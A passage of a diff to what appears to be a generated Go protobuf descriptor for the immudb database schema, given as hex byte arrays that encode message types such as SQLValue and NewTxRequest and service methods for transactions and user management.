0x03, 0x28, + 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, + 0x72, 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, + 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, + 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, + 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, + 0x74, 0x78, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, + 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x09, 0x6f, 0x6e, 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, + 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, + 0x0a, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, - 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, - 0x55, 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, + 0x20, 0x0a, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, + 0x73, 0x12, 0x5c, 0x0a, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, + 0x5f, 0x0a, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, + 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, + 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, + 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, + 0x1a, 0x5b, 0x0a, 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, + 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, + 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, + 0x15, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, + 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, + 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, + 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, + 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, + 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, + 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, + 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, + 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, + 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, + 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, + 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, + 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, + 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, + 0x01, 0x66, 0x18, 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, + 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, + 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, + 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, + 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, + 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, + 0x4d, 0x56, 0x43, 0x43, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, + 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, + 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, + 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, + 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, + 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, + 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, + 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, + 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, + 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, + 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, + 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, + 0x44, 0x65, 0x6c, 0x61, 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, + 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, + 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x4b, + 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, + 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, + 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, + 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, + 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, + 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, + 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, + 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, + 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, + 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xb6, 0x34, 0x0a, + 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, + 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x22, 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, - 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, - 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, - 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, - 0x12, 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, + 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, + 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, + 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, + 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, + 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, + 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, + 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, + 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, + 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, + 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 